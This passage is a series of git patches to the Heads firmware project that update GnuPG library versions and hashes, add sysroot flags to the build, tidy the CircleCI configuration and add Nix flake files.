fragility of buildsystem and fix nix build issues as well like: https://app.circleci.com/pipelines/github/mmlb/osresearch-heads/11/workflows/32cc883c-5074-4f28-94b8-a83a2ec44414/jobs/252 https://app.circleci.com/pipelines/github/mmlb/osresearch-heads/11/workflows/32cc883c-5074-4f28-94b8-a83a2ec44414/jobs/221 https://app.circleci.com/pipelines/github/tlaurion/heads/1781/workflows/ee402ead-6739-4549-88ae-105b695fb3cd https://app.circleci.com/pipelines/github/tlaurion/heads/1783/workflows/2b35826c-aff4-4f48-8809-4e66259f9aa4/jobs/25877/parallel-runs/0/steps/0-103 Signed-off-by: Thierry Laurion Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- Makefile | 1 + modules/flashrom | 8 ++++++-- modules/gpg2 | 4 ++-- modules/libassuan | 6 +++--- modules/libgcrypt | 6 +++--- modules/libgpg-error | 4 ++-- modules/libksba | 6 +++--- modules/pinentry | 2 +- patches/{gpg2-2.4.0.patch => gpg2-2.4.2.patch} | 0 patches/{libassuan-2.5.5.patch => libassuan-2.5.6.patch} | 0 patches/{libgcrypt-1.8.3.patch => libgcrypt-1.10.2.patch} | 0 .../{libgpg-error-1.46.patch => libgpg-error-1.47.patch} | 0 patches/{libksba-1.6.3.patch => libksba-1.6.4.patch} | 0 13 files changed, 21 insertions(+), 16 deletions(-) rename patches/{gpg2-2.4.0.patch => gpg2-2.4.2.patch} (100%) rename patches/{libassuan-2.5.5.patch => libassuan-2.5.6.patch} (100%) rename patches/{libgcrypt-1.8.3.patch => libgcrypt-1.10.2.patch} (100%) rename patches/{libgpg-error-1.46.patch => libgpg-error-1.47.patch} (100%) rename patches/{libksba-1.6.3.patch => libksba-1.6.4.patch} (100%) diff --git a/Makefile b/Makefile index 4f113d9c9..84f5af112 100644 --- a/Makefile +++ b/Makefile @@ -162,6 +162,7 @@ heads_cc := $(CROSS)gcc \ -fdebug-prefix-map=$(pwd)=heads \ -gno-record-gcc-switches \ -D__MUSL__ \ + --sysroot $(INSTALL) \ -isystem $(INSTALL)/include \ -L$(INSTALL)/lib \ diff --git a/modules/flashrom b/modules/flashrom index c7ce3e949..52db5ec6e 100644 --- a/modules/flashrom +++ b/modules/flashrom @@ -27,10 +27,14 @@ ifeq "$(CONFIG_FLASHROM_AST1100)" "y" flashrom_cfg += CONFIG_AST1100=yes endif - - flashrom_target := \ $(MAKE_JOBS) \ + CFLAGS="-Os -I$(INSTALL)/include/pci" \ + DESTDIR="$(INSTALL)" \ + INSTALL="$(INSTALL)" \ + LDFLAGS="-L$(INSTALL)/lib" \ + LIBS_BASE="$(INSTALL)" \ + PREFIX="$(INSTALL)" \ $(CROSS_TOOLS) \ $(flashrom_cfg) \ flashrom diff --git a/modules/gpg2 b/modules/gpg2 index b121febc8..fe340c4ff 100644 --- a/modules/gpg2 +++ b/modules/gpg2 @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += gpg2 -gpg2_version := 2.4.0 +gpg2_version := 2.4.2 gpg2_dir := gnupg-$(gpg2_version) gpg2_tar := gnupg-$(gpg2_version).tar.bz2 gpg2_url := https://www.gnupg.org/ftp/gcrypt/gnupg/$(gpg2_tar) -gpg2_hash := 1d79158dd01d992431dd2e3facb89fdac97127f89784ea2cb610c600fb0c1483 +gpg2_hash := 97eb47df8ae5a3ff744f868005a090da5ab45cb48ee9836dbf5ee739a4e5cf49 gpg2_depends := libgpg-error libgcrypt libksba libassuan npth libusb $(musl_dep) # For reproducibility reasons we have to override the exec_prefix diff --git a/modules/libassuan b/modules/libassuan index e641854f5..7143534d1 100644 --- a/modules/libassuan +++ b/modules/libassuan @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libassuan -libassuan_version := 2.5.5 +libassuan_version := 2.5.6 libassuan_dir := libassuan-$(libassuan_version) libassuan_tar := libassuan-$(libassuan_version).tar.bz2 libassuan_url := https://gnupg.org/ftp/gcrypt/libassuan/$(libassuan_tar) -libassuan_hash := 8e8c2fcc982f9ca67dcbb1d95e2dc746b1739a4668bc20b3a3c5be632edb34e4 +libassuan_hash := e9fd27218d5394904e4e39788f9b1742711c3e6b41689a31aa3380bd5aa4f426 libassuan_configure := \ CFLAGS="-Os" \ @@ -14,7 +14,7 @@ libassuan_configure := \ --prefix "/" \ --disable-doc \ --disable-static \ - --with-gpg-error-prefix="$(INSTALL)" \ + --with-libgpg-error-prefix="$(INSTALL)" \ libassuan_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/libgcrypt b/modules/libgcrypt index a3ece058b..2b630c02d 100644 --- a/modules/libgcrypt +++ b/modules/libgcrypt @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libgcrypt -libgcrypt_version := 1.10.1 +libgcrypt_version := 1.10.2 libgcrypt_dir := libgcrypt-$(libgcrypt_version) libgcrypt_tar := libgcrypt-$(libgcrypt_version).tar.bz2 libgcrypt_url := https://gnupg.org/ftp/gcrypt/libgcrypt/$(libgcrypt_tar) -libgcrypt_hash := ef14ae546b0084cd84259f61a55e07a38c3b53afc0f546bffcef2f01baffe9de +libgcrypt_hash := 3b9c02a004b68c256add99701de00b383accccf37177e0d6c58289664cce0c03 libgcrypt_configure := \ $(CROSS_TOOLS) \ @@ -14,7 +14,7 @@ libgcrypt_configure := \ --prefix "/" \ --disable-doc \ --disable-static \ - --with-gpg-error-prefix="$(INSTALL)" \ + --with-libgpg-error-prefix="$(INSTALL)" \ libgcrypt_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/libgpg-error b/modules/libgpg-error index 0c8553560..b24c9f74f 100644 --- a/modules/libgpg-error +++ b/modules/libgpg-error @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libgpg-error -libgpg-error_version := 1.46 +libgpg-error_version := 1.47 libgpg-error_dir := libgpg-error-$(libgpg-error_version) libgpg-error_tar := libgpg-error-$(libgpg-error_version).tar.bz2 libgpg-error_url := https://gnupg.org/ftp/gcrypt/libgpg-error/$(libgpg-error_tar) -libgpg-error_hash := b7e11a64246bbe5ef37748de43b245abd72cfcd53c9ae5e7fc5ca59f1c81268d +libgpg-error_hash := 9e3c670966b96ecc746c28c2c419541e3bcb787d1a73930f5e5f5e1bcbbb9bdb libgpg-error_configure := \ $(CROSS_TOOLS) \ diff --git a/modules/libksba b/modules/libksba index 7230237a7..99c226788 100644 --- a/modules/libksba +++ b/modules/libksba @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libksba -libksba_version := 1.6.3 +libksba_version := 1.6.4 libksba_dir := libksba-$(libksba_version) libksba_tar := libksba-$(libksba_version).tar.bz2 libksba_url := https://gnupg.org/ftp/gcrypt/libksba/$(libksba_tar) -libksba_hash := 3f72c68db30971ebbf14367527719423f0a4d5f8103fc9f4a1c01a9fa440de5c +libksba_hash := bbb43f032b9164d86c781ffe42213a83bf4f2fee91455edfa4654521b8b03b6b libksba_configure := \ $(CROSS_TOOLS) \ @@ -13,7 +13,7 @@ libksba_configure := \ --host $(MUSL_ARCH)-linux-musl \ --prefix "/" \ --disable-static \ - --with-gpg-error-prefix="$(INSTALL)" \ + --with-libgpg-error-prefix="$(INSTALL)" \ libksba_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/pinentry b/modules/pinentry index 239c6b755..86ab96b6a 100644 --- a/modules/pinentry +++ b/modules/pinentry @@ -29,8 +29,8 @@ pinentry_configure := \ --disable-pinentry-qt \ --disable-pinentry-qt5 \ --enable-pinentry-tty \ - --with-gpg-error-prefix="$(INSTALL)" \ --with-libassuan-prefix="$(INSTALL)" \ + --with-libgpg-error-prefix="$(INSTALL)" \ # Run one build to generate the executables with the pre-defined # exec_prefix and datarootdir, then a second make to install the binaries diff --git a/patches/gpg2-2.4.0.patch b/patches/gpg2-2.4.2.patch similarity index 100% rename from patches/gpg2-2.4.0.patch rename to patches/gpg2-2.4.2.patch diff --git a/patches/libassuan-2.5.5.patch b/patches/libassuan-2.5.6.patch similarity index 100% rename from patches/libassuan-2.5.5.patch rename to patches/libassuan-2.5.6.patch diff --git a/patches/libgcrypt-1.8.3.patch b/patches/libgcrypt-1.10.2.patch similarity index 100% rename from patches/libgcrypt-1.8.3.patch rename to patches/libgcrypt-1.10.2.patch diff --git a/patches/libgpg-error-1.46.patch b/patches/libgpg-error-1.47.patch similarity index 100% rename from patches/libgpg-error-1.46.patch rename to patches/libgpg-error-1.47.patch diff --git a/patches/libksba-1.6.3.patch b/patches/libksba-1.6.4.patch similarity index 100% rename from patches/libksba-1.6.3.patch rename to patches/libksba-1.6.4.patch From fcb9596f7e6edececc5ed385ecaf4554c46d1bd5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 25 Jan 2024 21:47:37 -0500 Subject: [PATCH 068/619] modules/tpm2-tss: Add with-sysroot to configure args Thanks to @JonathonHall-Purism, that pointed to me that sysroot was neglected in tpm2-tools configure step. Signed-off-by: Thierry Laurion Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- modules/tpm2-tss | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/tpm2-tss b/modules/tpm2-tss index c8c1c84e8..91e1a26cd 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -21,6 +21,7 @@ tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ + --with-sysroot=$(INSTALL) \ --disable-doxygen-doc \ --disable-doxygen-html \ --disable-doxygen-man \ From 43d806f20528101e251d9d446eac694fe38c202f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 2 Jul 2023 14:21:11 -0400 Subject: [PATCH 069/619] modules/tpm2-tools: add with-sysroot, TSS2_ESYS_3_0_LIBS to configure args Thanks to @JonathonHall-Purism, that pointed to me that sysroot was neglected in tpm2-tools configure step. I wonder why this is not respected if not forced with --with-sysroot and TSS2_ESYS_3_0_LIBS="-ltss2-esys -L$(INSTALL)/lib"? Signed-off-by: Thierry Laurion Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/tpm2-tools b/modules/tpm2-tools index bba25bc5d..9d4f1247c 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -32,6 +32,9 @@ tpm2-tools_configure := \ --prefix "/" \ --disable-fapi \ CFLAGS="-fdebug-prefix-map=$(INSTALL)=." \ + --with-sysroot=$(INSTALL) \ + TSS2_ESYS_3_0_CFLAGS="-I$(INSTALL)/include" \ + TSS2_ESYS_3_0_LIBS="-ltss2-esys -L$(INSTALL)/lib" \ tpm2-tools_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ From 87ec2ca043845445b1977a702ea2262f5913dbe4 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Wed, 28 Feb 2024 19:03:30 -0500 Subject: [PATCH 070/619] blobs: Ignore build generated binaries These are generated during the build process so should be ignored. Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- blobs/haswell/.gitignore | 1 + blobs/t440p/.gitignore | 1 + blobs/w541/.gitignore | 1 + blobs/xx20/.gitignore | 1 + blobs/xx30/.gitignore | 1 + blobs/z220/.gitignore | 2 ++ 6 files changed, 7 insertions(+) create mode 100644 blobs/haswell/.gitignore create mode 100644 blobs/t440p/.gitignore create mode 100644 blobs/w541/.gitignore create mode 100644 blobs/xx20/.gitignore create mode 100644 blobs/xx30/.gitignore create mode 100644 blobs/z220/.gitignore diff --git a/blobs/haswell/.gitignore b/blobs/haswell/.gitignore new file mode 100644 index 000000000..b3810c18c --- /dev/null +++ b/blobs/haswell/.gitignore @@ -0,0 +1 @@ +mrc.bin diff --git a/blobs/t440p/.gitignore b/blobs/t440p/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/t440p/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/w541/.gitignore b/blobs/w541/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/w541/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/xx20/.gitignore b/blobs/xx20/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/xx20/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/xx30/.gitignore b/blobs/xx30/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/xx30/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/z220/.gitignore b/blobs/z220/.gitignore new file mode 100644 index 000000000..0aa573338 --- /dev/null +++ b/blobs/z220/.gitignore @@ -0,0 +1,2 @@ +ifd.bin +me.bin From 713eadc1293b76d74b9f3037a163e28a6d1dab0b Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Wed, 27 Mar 2024 15:19:37 -0400 Subject: [PATCH 071/619] ci: Simple/mechanical tweaks to config file Got rid of long lines in favor of more lines for readability. Cleaned up some comments/typos and unnecessary cruft*. Finally ran prettier on the file for its automatic formatting, including whitespace clean ups. cruft: - && when already set -e - run commands with trailing \ - deleted commented out "OLD STUFF" - sorted listy looking things because unsorted stuff bothers me :) (I held back on sorting the board build definitions though, thats probably too much). Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .circleci/config.yml | 247 +++++++++++++++++++++++++++---------------- 1 file changed, 158 insertions(+), 89 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 303e11219..50c8d4e4e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -15,11 +15,63 @@ commands: command: | ln -fs /usr/share/zoneinfo/America/New_York /etc/localtime apt update - apt install -y build-essential zlib1g-dev uuid-dev libdigest-sha-perl libelf-dev bc bzip2 bison flex git gnupg gawk iasl m4 nasm patch python python2 python3 wget gnat cpio ccache pkg-config cmake libusb-1.0-0-dev autoconf texinfo ncurses-dev doxygen graphviz udev libudev1 libudev-dev automake libtool rsync innoextract sudo libssl-dev device-tree-compiler u-boot-tools sharutils e2fsprogs parted curl unzip imagemagick libncurses5-dev zip + apt install -y \ + autoconf \ + automake \ + bc \ + bison \ + build-essential \ + bzip2 \ + ccache \ + cmake \ + cpio \ + curl \ + device-tree-compiler \ + doxygen \ + e2fsprogs \ + flex \ + gawk \ + git \ + gnat \ + gnupg \ + graphviz \ + iasl \ + imagemagick \ + innoextract \ + libdigest-sha-perl \ + libelf-dev \ + libncurses5-dev \ + libssl-dev \ + libtool \ + libudev-dev \ + libudev1 \ + libusb-1.0-0-dev \ + m4 \ + nasm \ + ncurses-dev \ + parted \ + patch \ + pkg-config \ + python \ + python2 \ + python3 \ + rsync \ + sharutils \ + sudo \ + texinfo \ + u-boot-tools \ + udev \ + unzip \ + uuid-dev \ + wget \ + zip \ + zlib1g-dev \ + ; - run: name: Make Board (FULL ORDERED BUILD LOGS HERE UNTIL JOB FAILED) command: | - rm -rf build/<>/<>/* build/<>/log/* && make V=1 BOARD=<> <> || touch ./tmpDir/failed_build + rm -rf build/<>/<>/* build/<>/log/* + make V=1 BOARD=<> <> || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes @@ -32,11 +84,22 @@ commands: - run: name: Archiving build logs. command: | - tar zcvf build/<>/<>/logs.tar.gz $(find build/ -name "*.log") + tar zcvf build/<>/<>/logs.tar.gz $(find build/ -name "*.log") - run: name: Output build failing logs command: | - if [[ -f ./tmpDir/failed_build ]]; then find ./build/<>/ -name "*.log" -type f -mmin -1|while read log; do echo ""; echo '==>' "$log" '<=='; echo ""; cat $log;done; exit 1;else echo "Step hasn't failed. Continuing with next step..."; fi \ + if [[ -f ./tmpDir/failed_build ]]; then + find "./build/<>/" -name "*.log" -type f -mmin -1 | + while read log; do + echo "" + echo '==>' "$log" '<==' + echo "" + cat "$log" + done + exit 1 + else + echo "Step hasn't failed. Continuing with next step..." + fi - store_artifacts: path: build/<>/<> @@ -52,65 +115,100 @@ jobs: command: | ln -fs /usr/share/zoneinfo/America/New_York /etc/localtime apt update - apt install -y build-essential zlib1g-dev uuid-dev libdigest-sha-perl libelf-dev bc bzip2 bison flex git gnupg gawk iasl m4 nasm patch python python2 python3 wget gnat cpio ccache pkg-config cmake libusb-1.0-0-dev autoconf texinfo ncurses-dev doxygen graphviz udev libudev1 libudev-dev automake libtool rsync innoextract sudo imagemagick libncurses5-dev + apt install -y \ + autoconf \ + automake \ + bc \ + bison \ + build-essential \ + bzip2 \ + ccache \ + cmake \ + cpio \ + doxygen \ + flex \ + gawk \ + git \ + gnat \ + gnupg \ + graphviz \ + iasl \ + imagemagick \ + innoextract \ + libdigest-sha-perl \ + libelf-dev \ + libncurses5-dev \ + libtool \ + libudev-dev \ + libudev1 \ + libusb-1.0-0-dev \ + m4 \ + nasm \ + ncurses-dev \ + patch \ + pkg-config \ + python \ + python2 \ + python3 \ + rsync \ + sudo \ + texinfo \ + udev \ + uuid-dev \ + wget \ + zlib1g-dev \ + ; - checkout - run: name: git reset command: | - git reset --hard "$CIRCLE_SHA1" \ - + git reset --hard "$CIRCLE_SHA1" - run: name: Make tmp dir command: | - mkdir ./tmpDir \ - + mkdir ./tmpDir - run: name: Creating all modules and patches digest (All modules cache digest) command: | - find ./Makefile ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums \ - + find ./Makefile ./patches/ ./modules/ -type f | sort -h |xargs sha256sum > ./tmpDir/all_modules_and_patches.sha256sums - run: name: Creating coreboot (and associated patches) and musl-cross-make modules digest (musl-cross-make and coreboot cache digest) command: | - find ./Makefile ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums \ - + find ./Makefile ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | - find ./Makefile modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums \ - + find ./Makefile modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums - restore_cache: + # First matched/found key wins and following keys are not tried keys: - #Restore existing cache for matching modules digest, validated to be exactly the same as in github current commit. - #This cache was made on top of below caches, if previously existing. If no module definition changed, we reuse this one. Otherwise... + # Cache for matching modules digest, validated to be exactly the same as in github current commit. + # This cache was made on top of below caches, if previously existing. + # If no module definition changed, we reuse this one - heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} - #If precedent cache not found, restore cache for coreboot module (and patches) and musl-cross-make digests (coreboot: triannual release) - #Otehrwise.... + + # Cache for coreboot module (and patches) and musl-cross-make digests (coreboot: triannual release) - heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} - #If precedent cache not found. Restore cache for musl-cross-make module digest (rarely modified). - #Otherwise, we build cleanly. + + # Cache for musl-cross-make module digest (rarely modified). - heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} - run: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | ./blobs/xx20/download_parse_me.sh - - run: - name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py + name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) - - run: name: Download and extract t530 vbios roms for dgpu boards command: | ./blobs/xx30/vbios_t530.sh - - run: name: Download and extract w530 vbios roms for dgpu boards command: | ./blobs/xx30/vbios_w530.sh - - persist_to_workspace: root: ~/ paths: @@ -162,7 +260,7 @@ jobs: at: ~/ - build_board: arch: <> - target: <> + target: <> subcommand: <> save_cache: @@ -174,40 +272,40 @@ jobs: - attach_workspace: at: ~/ - save_cache: - #Generate cache for the same musl-cross module definition if hash is not previously existing - #CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names + # Generate cache for the same musl-cross module definition if hash is not previously existing + # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names key: heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - - crossgcc - - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - crossgcc - packages - save_cache: - #Generate cache for the same coreboot mnd musl-cross-make modules definition if hash is not previously existing - #CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names + # Generate cache for the same coreboot mnd musl-cross-make modules definition if hash is not previously existing + # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names key: heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - - crossgcc - - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/ppc64/coreboot-talos_2 - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - - packages - build/x86/coreboot-4.11 - build/x86/coreboot-4.13 - build/x86/coreboot-4.14 - build/x86/coreboot-4.15 - build/x86/coreboot-4.17 - build/x86/coreboot-4.22.01 - - build/x86/coreboot-purism - build/x86/coreboot-nitrokey - - build/ppc64/coreboot-talos_2 + - build/x86/coreboot-purism + - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - crossgcc + - packages - save_cache: #Generate cache for the exact same modules definitions if hash is not previously existing key: heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - - crossgcc - build - - packages + - crossgcc - install + - packages workflows: version: 2 @@ -215,9 +313,8 @@ workflows: jobs: - prep_env -# Below, sequentially build one board for each coreboot -# version. The last board in the sequence is the dependency -# for the parallel boards built at the end, and also save_cache. + # Below, sequentially build one board for each coreboot version. + # The last board in the sequence is the dependency for the parallel boards built at the end, and also save_cache. # coreboot 4.22.01 - build_and_persist: @@ -227,7 +324,7 @@ workflows: requires: - prep_env - # coreboot-git librems + # coreboot purism - build_and_persist: name: librem_14 target: librem_14 @@ -235,18 +332,19 @@ workflows: requires: - x230-hotp-maximized - # coreboot-git Nitropads depending on x230-hotp-maximized cache - # since kernel is 6.x and coreboot is git is unshared + # coreboot nitropad + # Nitropads depending on x230-hotp-maximized cache since kernel is 6.x and coreboot is git is unshared # We use nitropad's coreboot's fork crossgcc - # No need to wait further for other board's cache. + # No need to wait further for other board's cache + # We reuse built modules from x230-hotp-maximized cache only - build_and_persist: name: nitropad-nv41 target: nitropad-nv41 subcommand: "" requires: - - prep_env + - x230-hotp-maximized - # coreboot-git Talos II (PPC) + # coreboot talos_2 - build_and_persist: name: talos-2 arch: ppc64 @@ -255,18 +353,18 @@ workflows: requires: - prep_env - #Cache one workspace per architecture. Make sure workspace caches are chainloaded and the last in chain for an arch is saved. + # Cache one workspace per architecture + # Make sure workspace caches are chainloaded and the last in chain for an arch is saved - save_cache: requires: - talos-2 - librem_14 -# -# Those onboarding new boards should add their entries below. -# -# + # + # Those onboarding new boards should add their entries below. + # -#Coreboot 4.22.01 boards + # coreboot 4.22.01 boards - build: name: x220-hotp-maximized target: x220-hotp-maximized @@ -377,7 +475,7 @@ workflows: target: t440p-maximized subcommand: "" requires: - - x230-hotp-maximized + - x230-hotp-maximized - build: name: t440p-hotp-maximized @@ -421,7 +519,8 @@ workflows: requires: - x230-hotp-maximized -#coreboot-git librem boards + # coreboot purism + # librem boards - build: name: librem_13v2 target: librem_13v2 @@ -464,7 +563,8 @@ workflows: requires: - librem_14 -#coreboot-git dasharo clevo_release + staging IASL patch + # coreboot purism + # dasharo clevo_release + staging IASL patch - build: name: nitropad-ns50 target: nitropad-ns50 @@ -499,34 +599,3 @@ workflows: # subcommand: "" # requires: # - librem_14 - -######################## -######################## -### OLD STUFF ### -######################## -######################## -# linuxboot steps need something to pass in the kernel header path -# skipping for now -# - run: -# name: UNMAINTAINED_qemu-linuxboot-edk2 -# command: | -# ./build/make-4.2.1/make \ -# CROSS=/cross/bin/x86_64-linux-musl- \ -# BOARD=UNMAINTAINED_qemu-linuxboot \ -# `/bin/pwd`/build/linuxboot-git/build/qemu/.configured \ -# # Run first to avoid too many processes -# -# - run: -# name: UNMAINTAINED_qemu-linuxboot -# command: | -# ./build/make-4.2.1/make \ -# CROSS=/cross/bin/x86_64-linux-musl- \ -# CPUS=16 \ -# V=1 \ -# BOARD=UNMAINTAINED_qemu-linuxboot \ -# -# - store-artifacts: -# path: build/UNMAINTAINED_qemu-linuxboot/linuxboot.rom -# - store-artifacts: -# path: build/UNMAINTAINED_qemu-linuxboot/hashes.txt - From de3f4ec2a329a1506f6ce491eb433a68b7084145 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Wed, 27 Mar 2024 15:29:09 -0400 Subject: [PATCH 072/619] ci: Replace while loop with tail of multiple files Gives the exact same output: ``` docker run --rm -ti debian:11 bash -c ' mkdir -p build/subdir1/ build/subdir2 echo "subdir1 error" >build/subdir1/fail.log echo "subdir2 error" >build/subdir2/fail.log find build -type f -name "*.log" -exec tail -n +1 "{}" + ' ==> build/subdir1/fail.log <== subdir1 error ==> build/subdir2/fail.log <== subdir2 error ``` Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .circleci/config.yml | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 50c8d4e4e..88925a3da 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -89,13 +89,7 @@ commands: name: Output build failing logs command: | if [[ -f ./tmpDir/failed_build ]]; then - find "./build/<>/" -name "*.log" -type f -mmin -1 | - while read log; do - echo "" - echo '==>' "$log" '<==' - echo "" - cat "$log" - done + find "./build/<>/" -name "*.log" -type f -mmin -1 -exec tail -n +1 '{}' + exit 1 else echo "Step hasn't failed. Continuing with next step..." @@ -571,7 +565,6 @@ workflows: subcommand: "" requires: - nitropad-nv41 - # - build: # name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard # target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard From 2824f48f9e99a94d230e2cd76cc784d8ba6a0d28 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Thu, 20 Oct 2022 22:32:02 -0400 Subject: [PATCH 073/619] Add nix files Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .envrc | 1 + .gitignore | 2 + flake.lock | 61 ++++++++++++++++++++++++++ flake.nix | 126 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 190 insertions(+) create mode 100644 .envrc create mode 100644 flake.lock create mode 100644 flake.nix diff --git a/.envrc b/.envrc new file mode 100644 index 000000000..b85b26d14 --- /dev/null +++ b/.envrc @@ -0,0 +1 @@ +has nix && use flake diff --git a/.gitignore b/.gitignore index e69113fbb..720f911aa 100644 --- a/.gitignore +++ b/.gitignore @@ -17,7 +17,9 @@ *.xz *~ .*.sw* +/.direnv clean config/*.old crossgcc typescript* +result diff --git a/flake.lock b/flake.lock new file mode 100644 index 000000000..491e53f71 --- /dev/null +++ b/flake.lock @@ -0,0 +1,61 @@ +{ + "nodes": { + "flake-utils": { + "inputs": { + "systems": "systems" + }, + "locked": { + "lastModified": 1710146030, + "narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=", + "owner": "numtide", + "repo": "flake-utils", + "rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a", + "type": "github" + }, + "original": { + "owner": "numtide", + "repo": "flake-utils", + "type": "github" + } + }, + "nixpkgs": { + "locked": { + "lastModified": 1711703276, + "narHash": "sha256-iMUFArF0WCatKK6RzfUJknjem0H9m4KgorO/p3Dopkk=", + "owner": "nixos", + "repo": "nixpkgs", + "rev": "d8fe5e6c92d0d190646fb9f1056741a229980089", + "type": "github" + }, + "original": { + "owner": "nixos", + "ref": "nixos-unstable", + "repo": "nixpkgs", + "type": "github" + } + }, + "root": { + "inputs": { + "flake-utils": "flake-utils", + "nixpkgs": "nixpkgs" + } + }, + "systems": { + "locked": { + "lastModified": 1681028828, + "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", + "owner": "nix-systems", + "repo": "default", + "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", + "type": "github" + }, + "original": { + "owner": "nix-systems", + "repo": "default", + "type": "github" + } + } + }, + "root": "root", + "version": 7 +} diff --git a/flake.nix b/flake.nix new file mode 100644 index 000000000..8796f9290 --- /dev/null +++ b/flake.nix @@ -0,0 +1,126 @@ +{ + description = "heads flake, mostly for devshell for now"; + + inputs = { + nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; + flake-utils.url = "github:numtide/flake-utils"; + }; + + outputs = { + self, + flake-utils, + nixpkgs, + ... + }: + flake-utils.lib.eachDefaultSystem (system: let + pkgs = nixpkgs.legacyPackages.${system}; + lib = pkgs.lib; + deps = with pkgs; + [ + autoconf + automake + bashInteractive + coreutils + bc + bison # Generate flashmap descriptor parser + bzip2 + cacert + ccache + cmake + cpio + curl + diffutils + dtc + e2fsprogs + elfutils + findutils + flex + gawk + git + gnat + gnugrep 